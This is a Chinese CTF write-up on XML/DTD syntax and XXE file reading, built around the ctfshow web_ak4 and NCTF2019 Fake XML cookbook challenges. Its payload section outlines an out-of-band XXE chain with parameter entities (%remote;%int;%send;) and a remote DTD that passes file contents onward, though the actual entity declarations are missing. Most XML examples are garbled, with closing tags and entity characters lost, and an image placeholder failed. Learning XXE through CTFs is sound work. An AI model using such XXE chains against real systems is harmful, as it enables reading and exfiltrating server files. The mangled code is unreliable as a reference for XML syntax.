[ctf web]XXE通过DTD读取文件+XML和DTD基础语法(以[ctfshow]web_ak4观心和[NCTF2019]Fake XML cookbook为例)

XML基础

XML文件可以分为三部分:

  • XML声明
  • DTD文档定义类型。
  • 文档元素 根元素foo,子元素note,属性category

XML语法

XML被设计为传输和存储数据

基本语法:

- 所有 XML 元素都须有关闭标签。

- XML 标签对大小写敏感。

- XML 必须正确地嵌套。

- XML 文档必须有根元素。

- XML 的属性值须加引号。


预定义的实体引用

< < 小于
> > 大于
& & 和号
单引号
" " 引号

注释



DTD 文档类型定义

DTD可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。

DTD声明元素:

在 DTD 中,XML 元素通过元素声明来进行声明。元素声明使用下面的语法:

   [类别可为:EMPTY、(#PCDATA)、ANY]
 
 注:其实就是定义元素用的,或者说定义一个对象中的<键>一样。

DTD声明实体:


注:其实DTD实体就是变量名 + 值,就是个实例,对象而已。

内部的 DOCTYPE 声明

格式:


例子:


DOCTYPE note [		
  <!ELEMENT note (to,from,heading,body)>		
  <!ELEMENT to      (#PCDATA)>		
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>Georgeto>
  <body>Don't forget the meeting!body>
note>

PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。

CDATA意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。


外部文档声明

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:


这个 XML 拥有一个外部的 DTD


DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Georgeto>
<body>Don't forget the meeting!body>
note> 

这是包含 DTD 的 “note.dtd” 文件:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT body (#PCDATA)>


DTD-实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

实体引用是对实体的引用。

实体可以在内部或外部进行声明

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tx7FfB3j-1629688118105)(XML基础.assets/15295975464414.png!small)]

参数实体就前面加%

内部实体例子


DOCTYPE note[
<!ELEMENT note (name)>
<!ENTITY hack3r "Hu3sky">
]>
<note>
<name>&hack3r;name>
note>

参数实体+外部实体



  %name;
]>

%name(参数实体)是在DTD中被引用的,而&name;是在xml文档中被引用的。



wp

payload:

[ctfshow]web_ak4观心

test.xml //由于请求外部tdt文档

 

DOCTYPE test [ 

 

%remote;%int;%send; ]>

<reset><login>beelogin><secret>Any bugs?secret>reset>

test.dtd


">
%p2;

[NCTF2019]Fake XML cookbook


DOCTYPE note [
  			
  
  ]>
<user><username>&admin;username><password>123456password>user>


参考链接:
DTD 简介
https://blog.csdn.net/weixin_39194641/article/details/102251374
浅谈XML实体注入漏洞

你可能感兴趣的:(#,web,ctf,xml,web,ctf,DTD)